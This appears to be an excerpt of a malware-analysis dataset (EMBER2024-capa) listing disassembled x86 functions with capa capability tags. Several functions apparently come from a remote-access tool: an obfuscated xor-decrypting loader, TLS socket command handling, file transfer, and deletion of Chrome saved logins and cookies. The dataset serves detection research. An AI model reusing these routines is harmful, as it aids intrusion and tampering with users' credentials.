joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5967d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push edi
push esi
push ebx
mov esi, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
cmp esi, 7
jbe 0x5968a1
lea edx, [esi - 8]
shr edx, 3
lea edi, [edx*8 + 8]
mov edx, ebx
lea ecx, [eax + edi]
nop
lea esi, [esi]
mov ebp, dword [edx]
xor dword [eax], ebp
add edx, 8
mov ebp, dword [edx - 4]
xor dword [eax + 4], ebp
add eax, 8
cmp eax, ecx
jne 0x596800
add ebx, edi
and esi, 7
test esi, esi
je 0x59686c
lea eax, [ecx + 4]
lea edx, [ebx + 4]
cmp ebx, eax
setae al
cmp ecx, edx
setae dl
or eax, edx
lea edx, [esi - 1]
cmp edx, 2
seta dl
test al, dl
je 0x596871
mov eax, ebx
or eax, ecx
test al, 3
jne 0x596871
mov eax, dword [ebx]
xor dword [ecx], eax
cmp esi, 4
je 0x59686c
movzx eax, byte [ebx + 4]
xor byte [ecx + 4], al
cmp esi, 5
je 0x59686c
movzx eax, byte [ebx + 5]
xor byte [ecx + 5], al
cmp esi, 6
je 0x59686c
movzx eax, byte [ebx + 6]
xor byte [ecx + 6], al
pop ebx
pop esi
pop edi
pop ebp
ret
movzx eax, byte [ebx]
xor byte [ecx], al
cmp esi, 1
je 0x59686c
movzx eax, byte [ebx + 1]
xor byte [ecx + 1], al
cmp esi, 2
je 0x59686c
movzx eax, byte [ebx + 2]
xor byte [ecx + 2], al
cmp esi, 3
je 0x59686c
movzx eax, byte [ebx + 3]
xor byte [ecx + 3], al
cmp esi, 4
jne 0x59684d
jmp 0x59686c
mov ecx, eax
jmp 0x596819
Function at 0x5a3ab0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ecx, 0x1a
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x80]
mov esi, 0x6f78e5
push ebx
sub esp, 0x9c
mov eax, dword [str.not_enough_space_for_format_expansion__Please_submit_full_bug_report_at_https:__gcc.gnu.org_bugs__:_n]
mov dword [ebp - 0x81], eax
mov eax, dword [0x6f7949]
mov dword [ebp - 0x1c], eax
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp + 8]
lea eax, [edx + 0x84]
and eax, 0xfffffff0
call fcn.005591c8
mov ecx, 0x1a
sub esp, eax
lea esi, [ebp - 0x81]
mov dword [ebp - 0x8c], edx
lea ebx, [esp + 0x1b]
and ebx, 0xfffffff0
mov edi, ebx
lea eax, [ebx + 0x68]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp + 8]
mov dword [esp + 8], edx
mov dword [esp], eax
mov dword [esp + 4], ecx
call sub.msvcrt.dll_memcpy
mov edx, dword [ebp - 0x8c]
mov byte [ebx + edx + 0x68], 0
mov dword [esp], ebx
call fcn.00636070
nop
nop
nop
nop
nop
nop
nop
push edi
push esi
push ebx
sub esp, 0x20
cmp byte [0x689bc4], 0
jne 0x5a3bd6
mov byte [0x689bc4], 1
call fcn.00641880
test eax, eax
je 0x5a3ba4
mov ebx, dword [eax + 4]
xor eax, eax
cmp byte [ebx], 0x2a
mov dword [esp + 8], 0
sete al
mov dword [esp + 4], 0
add ebx, eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0xc], eax
mov dword [esp], ebx
call fcn.00558fb0
mov dword [esp], 2
mov esi, dword [fcn.005645f0]
mov edi, eax
call esi
mov dword [esp + 8], 0x30
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_after_throwing_an_instance_of_
call sub.msvcrt.dll_fwrite
mov edx, dword [esp + 0x1c]
mov dword [esp], 2
test edx, edx
je 0x5a3b94
call esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputs
mov dword [esp], 2
call esi
mov dword [esp + 8], 2
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], 0x6f6a4d
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x666cb4
jmp 0x666cac
call esi
mov dword [esp], edi
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputs
jmp 0x5a3b5a
mov dword [esp], 2
call dword [0x688158]
mov dword [esp + 8], 0x2d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_without_an_active_exception_n
call sub.msvcrt.dll_fwrite
jmp 0x666ca7
mov dword [esp], 2
call dword [0x688158]
mov dword [esp + 8], 0x1d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_recursively_n
call sub.msvcrt.dll_fwrite
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
mov ebx, ecx
sub esp, 0x18
mov dword [ecx], 0x70a720
call fcn.00633f70
mov dword [esp], ebx
mov dword [esp + 4], 4
call fcn.006414a0
add esp, 0x18
pop ebx
ret
Function at 0x6669c0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.005645f0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.005645f0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x403e59
pop dword [ebp - 4]
mov eax, 0x62ae089b
sub eax, 0x626dca42
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x980db639
add dword [ebp - 0x14], 0xb6448f12
mov dword [ebp - 0x10], 0xd7f3d2d
add dword [ebp - 0x10], 0x24b40f18
mov dword [ebp - 0xc], 0x27266c4c
sub dword [ebp - 0xc], 0xdada281e
mov dword [ebp - 8], 0x607c04eb
sub dword [ebp - 8], 0x607c04eb
lea eax, [ebp - 0x14]
push eax
mov eax, 0xaec7ff
sub eax, 0x6e579b
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0xc9deaa7d
sub dword [ebp - 0x14], 0x556c4127
mov dword [ebp - 0x10], 0x32ec81db
add dword [ebp - 0x10], 0xe7fdf9a
mov dword [ebp - 0xc], 0x8a84a46d
sub dword [ebp - 0xc], 0x27153801
mov dword [ebp - 8], 0xd6d713d6
add dword [ebp - 8], 0x2928ec2a
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x39565
push 0
call eax
mov ecx, 0x4ab53668
sub ecx, 0x4ab4e40c
mov edx, eax
mov edi, 0x6817ea3d
add edi, 0x982915c3
add edi, dword [ebp - 4]
mov esi, 0xa3136b0d
add esi, 0x96706b49
mov ebx, dword [edi]
xor ebx, esi
mov dword [edx], ebx
add edx, 0x2f7fef0
add edx, 0xfd080114
add edi, 0x218bcb38
add edi, 0xde7434cc
loop 0x403f76
add eax, 0x13c43
xor ebx, ebx
add ebx, eax
add eax, 0xc6b18c95
add eax, 0x394e7370
mov ecx, 0xd6fcc726
sub ecx, 0xd6bcc726
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x40170e
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x465a58]
sub esp, 0x1c
push ebx
push edi
push dword [eax + 0x10]
mov edi, ecx
push dword [eax + 0x18]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x401861
cmp byte [edi + 1], al
je 0x40185d
cmp byte [edi + 0x31], al
je 0x40176c
sub esp, 0x18
lea eax, [edi + 0x34]
mov ecx, esp
mov edx, str.TLS_Handshake...______
push eax
call fcn.00402a91
sub esp, 0x14
mov ecx, esp
push 0x459450
call fcn.00402178
call fcn.00413b81
add esp, 0x30
call fcn.004190ba
mov dword [edi + 0x4c], eax
test eax, eax
jne 0x401787
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_1
jmp 0x4018c1
mov edx, dword [edi + 4]
mov ecx, eax
call fcn.004192de
cmp eax, 1
je 0x4017cd
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_2
call fcn.00402178
sub esp, 0x18
mov ecx, esp
push 0x4593b4
call fcn.00402178
call fcn.00413b81
add esp, 0x30
mov ecx, dword [edi + 0x4c]
call fcn.00419100
and dword [edi + 0x4c], 0
jmp 0x4018dd
mov ecx, dword [edi + 0x4c]
call fcn.00419dbe
cmp eax, 1
je 0x40180a
sub esp, 0x18
mov ecx, esp
push str.TLS_Authentication_Failed
call fcn.00402178
sub esp, 0x18
mov ecx, esp
push 0x4593b4
call fcn.00402178
call fcn.00413b81
mov ecx, dword [edi + 0x4c]
add esp, 0x30
call fcn.00419507
jmp 0x4017bc
mov ecx, dword [edi + 0x4c]
call fcn.00419255
mov dword [edi + 0x50], eax
test eax, eax
jne 0x40183f
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_3
call fcn.00402178
sub esp, 0x18
mov ecx, esp
push 0x4593b4
call fcn.00402178
call fcn.00413b81
add esp, 0x30
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
push ebx
push 1
push ebx
push ebx
mov dword [edi + 0x70], eax
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
mov dword [edi + 0x6c], eax
mov al, 1
jmp 0x4018df
cmp byte [edi + 0x31], 0
je 0x4018dd
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
sub ecx, 0x2736
je 0x4018dd
sub ecx, 0x17
je 0x4018b7
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00414e33
sub esp, 0x18
mov edx, str.Connection_Failed:
mov ecx, esp
push eax
call fcn.00402a6d
sub esp, 0x14
mov ecx, esp
push 0x4593b4
call fcn.00402178
call fcn.00413b81
add esp, 0x30
lea ecx, [ebp - 0x1c]
call fcn.00402091
jmp 0x4018dd
sub esp, 0x18
mov ecx, esp
push str.Connection_Refused
call fcn.00402178
sub esp, 0x18
mov ecx, esp
push 0x4593b4
call fcn.00402178
call fcn.00413b81
add esp, 0x30
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4018e7
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp + 0xc]
call fcn.00402020
xor ebx, ebx
lea ecx, [ebp - 0x1c]
push ebx
push 0xc
lea esi, [eax + 4]
call fcn.0040214e
push ebx
lea ecx, [ebp - 0x1c]
call fcn.0040202d
mov ecx, dword [edi + 0x2c]
push 4
mov dword [eax], ecx
lea ecx, [ebp - 0x1c]
call fcn.0040202d
push 8
lea ecx, [ebp - 0x1c]
mov dword [eax], esi
call fcn.0040202d
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040206e
cmp byte [edi + 1], bl
jne 0x401964
push ebx
lea ecx, [ebp - 0x1c]
call fcn.00402020
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402028
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
jmp 0x40199f
or ebx, 0xffffffff
push ebx
push dword [edi + 0x70]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00402020
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402028
mov ecx, dword [edi + 0x50]
mov edx, eax
call fcn.0041948f
pop ecx
mov esi, eax
pop ecx
push dword [edi + 0x70]
test esi, esi
cmove esi, ebx
call dword [sym.imp.KERNEL32.DLL_SetEvent]
lea ecx, [ebp - 0x1c]
call fcn.00402091
lea ecx, [ebp + 0xc]
call fcn.00402091
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x4019ba
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
cmp byte [edi + 1], 0
je 0x4019f3
push 0xffffffffffffffff
push dword [edi + 0x6c]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov edx, dword [ebp + 8]
push ecx
push dword [ebp + 0xc]
mov ecx, dword [edi + 0x4c]
call fcn.004194cb
pop ecx
pop ecx
push dword [edi + 0x6c]
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_SetEvent]
mov eax, esi
jmp 0x401a04
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
pop edi
pop esi
pop ecx
pop ebp
ret 0xc

Function at 0x401a0b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [ecx + 8], eax
xor eax, eax
push eax
push eax
push ecx
push 0x401a2a
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop ebp
ret 4
Function at 0x401aef
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
and dword [ebp - 8], 0
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x28]
push edi
mov dword [ebp - 0x10], esi
and dword [esi + 0x54], 0
call fcn.004021c9
mov edi, dword [ebp + 8]
lea eax, [esi + 0x58]
push eax
lea eax, [ebp - 8]
mov ecx, edi
push eax
call fcn.00402028
push eax
mov ecx, esi
call fcn.00401d26
test al, al
je 0x401c3e
movzx eax, byte [esi + 0x30]
mov ecx, edi
mov ebx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
add ebx, eax
call fcn.00402020
cmp ebx, eax
jbe 0x401b62
mov ecx, edi
mov bl, 1
call fcn.00402020
mov ecx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
add ecx, dword [ebp - 8]
mov edi, dword [ebp + 8]
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0x401b64
xor bl, bl
test bl, bl
jne 0x401c3e
mov ebx, dword [ebp - 0xc]
lea eax, [ebp - 0x40]
push 0xffffffffffffffff
push ebx
push eax
mov ecx, edi
call fcn.00402006
push eax
lea ecx, [ebp - 0x28]
call fcn.0040209b
lea ecx, [ebp - 0x40]
call fcn.00402091
push dword [ebp - 8]
lea eax, [ebp - 0x40]
push 0
push eax
lea ecx, [ebp - 0x28]
call fcn.00402006
push eax
lea ecx, [ebp - 0x28]
call fcn.0040209b
lea ecx, [ebp - 0x40]
call fcn.00402091
cmp byte [ebp + 0x10], 0
lea eax, [ebp - 0x28]
jne 0x401bcd
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004021e0
push esi
call dword [ebp + 0xc]
add esp, 0x1c
jmp 0x401c09
push eax
lea ecx, [esi + 0xc]
call fcn.00402077
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [ebp + 0xc]
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 8]
mov ecx, edi
push 0xffffffffffffffff
add eax, ebx
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.00402006
push eax
mov ecx, edi
call fcn.0040209b
lea ecx, [ebp - 0x40]
call fcn.00402091
mov ecx, edi
call fcn.00402020
test eax, eax
lea eax, [esi + 0x58]
jne 0x401b13
lea ecx, [ebp - 0x28]
call fcn.00402091
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401d6f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x5c], 0
jne 0x401e08
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x401d92
mov byte [esi + 0x7c], 1
jmp 0x401dde
cmp byte [0x465a81], 0
je 0x401dde
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
mov edx, edi
lea ecx, [ebp - 0x28]
call fcn.0041410a
sub esp, 0x18
mov edx, str.KeepAlive______________Enabled__Timeout:
mov ecx, esp
push eax
call fcn.00402a6d
sub esp, 0x14
mov ecx, esp
push 0x459450
call fcn.00402178
call fcn.00413b81
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.00402091
mov dword [esi + 0x74], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
push edi
push edi
push esi
push 0x401f6e
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov al, 1
jmp 0x401e0a
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x404854
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x45fac0]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x404860
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [ebp + 0xc]
mov eax, dword [ebp + 8]
movzx eax, byte [edx + eax]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x4048a4
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x404881
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4048c3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
xor edx, edx
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x400]
mov ecx, 0x100
mov ebx, edx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 0xc]
mov edi, edx
add esi, 1
je 0x40495b
inc edx
and edx, 0x800000ff
jns 0x4048fd
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [ebp + edx*4 - 0x400]
add ebx, eax
and ebx, 0x800000ff
jns 0x404916
dec ebx
or ebx, 0xffffff00
inc ebx
mov cl, al
mov eax, dword [ebp + ebx*4 - 0x400]
mov dword [ebp + edx*4 - 0x400], eax
movzx eax, cl
mov dword [ebp + ebx*4 - 0x400], eax
mov ecx, dword [ebp + edx*4 - 0x400]
add ecx, eax
and ecx, 0x800000ff
jns 0x404949
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [ebp + ecx*4 - 0x400]
mov ecx, dword [ebp + 8]
xor byte [edi + ecx], al
inc edi
cmp edi, esi
jb 0x4048ec
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x404cf3
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
lea eax, [ebp - 0x298]
lea ecx, [ebp + 8]
push ebx
push esi
push eax
call fcn.00404c42
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x404d39
sub esp, 0x18
lea edx, [ebp + 8]
mov ecx, esp
call fcn.0041429c
push 0x54
mov ecx, 0x467dd0
call fcn.004018e7
jmp 0x404dfa
lea ecx, [ebp - 0x18]
call fcn.004021c9
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x30]
call fcn.00403509
mov edx, 0x4595d4
mov ecx, eax
call fcn.00406adc
lea ecx, [ebp - 0x30]
mov bl, al
call fcn.004034ff
test bl, bl
je 0x404dc6
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040219f
push eax
lea ecx, [ebp - 0x18]
call fcn.0040209b
lea ecx, [ebp - 0x30]
jmp 0x404dc1
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x48]
call fcn.0040219f
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.0040479d
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040209b
lea ecx, [ebp - 0x30]
call fcn.00402091
lea ecx, [ebp - 0x48]
call fcn.00402091
lea eax, [ebp - 0x298]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x404d8c
sub esp, 0x18
lea eax, [ebp - 0x18]
mov ecx, esp
push eax
call fcn.004021e0
push 0x50
mov ecx, 0x467dd0
call fcn.004018e7
lea ecx, [ebp - 0x18]
call fcn.00402091
lea ecx, [ebp + 8]
call fcn.004034ff
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404e08
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x186ec
call fcn.0044aac0
push ebx
push esi
mov esi, ecx
lea edx, [ebp + 0x10]
push edi
xorps xmm0, xmm0
mov dword [ebp - 0xc], esi
xor ebx, ebx
movlpd qword [ebp - 8], xmm0
push 0x4595d8
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x14], ebx
call fcn.00406b5e
pop ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00406547
lea ecx, [ebp - 0x44]
call fcn.004034ff
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [ebp - 0x2c]
call fcn.00404c42
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], ecx
ja 0x404ee2
mov edi, dword [ebp + 8]
jb 0x404e7c
cmp dword [ebp - 8], edi
jae 0x404ee2
push ecx
push 0x186a0
lea eax, [ebp - 0x186e8]
mov ecx, esi
push eax
call fcn.004019ba
mov esi, eax
cdq
add dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push ebx
adc dword [ebp - 4], edx
push eax
push esi
lea eax, [ebp - 0x186e8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
sub esp, 0x18
lea eax, [ebp - 8]
mov ecx, esp
push 8
push eax
call fcn.0040219f
mov ecx, dword [ebp - 0xc]
push 0x57
call fcn.004018e7
test esi, esi
jle 0x404f1c
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp - 0xc]
cmp dword [ebp - 4], eax
jb 0x404e7c
ja 0x404edf
cmp dword [ebp - 8], edi
jb 0x404e7c
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [ebp + 0x10]
call fcn.00404c42
push eax
lea ecx, [ebp - 0x2c]
call fcn.00404c42
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileW]
mov bl, 1
lea ecx, [ebp - 0x2c]
call fcn.004034ff
lea ecx, [ebp + 0x10]
call fcn.004034ff
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [ebp - 0x2c]
call fcn.00404c42
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
jmp 0x404f03

Function at 0x404f36
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.004021c9
lea ecx, [ebp + 8]
call fcn.00402028
mov edi, eax
jmp 0x404fbd
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
push eax
call fcn.00437a48
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00402178
mov ecx, eax
call fcn.00402028
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.00406ba2
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00406be6
pop ecx
push eax
mov ecx, esi
call fcn.0040209b
lea ecx, [ebp - 0x1c]
call fcn.00402091
lea ecx, [ebp - 0x34]
call fcn.00402091
lea ecx, [ebp - 0x4c]
call fcn.00402091
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x404f51
lea ecx, [ebp + 8]
call fcn.00402091
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407ec0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x459774
call fcn.004325ad
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402178
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00404804
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00402091
lea ecx, [ebp - 0x18]
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x407f27
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
sub eax, 1
je 0x407f1b
sub eax, 1
je 0x407f1b
xor bl, bl
jmp 0x407f40
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x407f31
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00402178
call fcn.00408668
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00402091
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407f4f
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x459774
call fcn.004325ad
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402178
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00404804
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00402091
lea ecx, [ebp - 0x18]
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x407fb6
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
sub eax, 1
je 0x407faa
sub eax, 1
je 0x407faa
xor bl, bl
jmp 0x407fcf
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x407fc0
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00402178
call fcn.00408668
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00402091
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret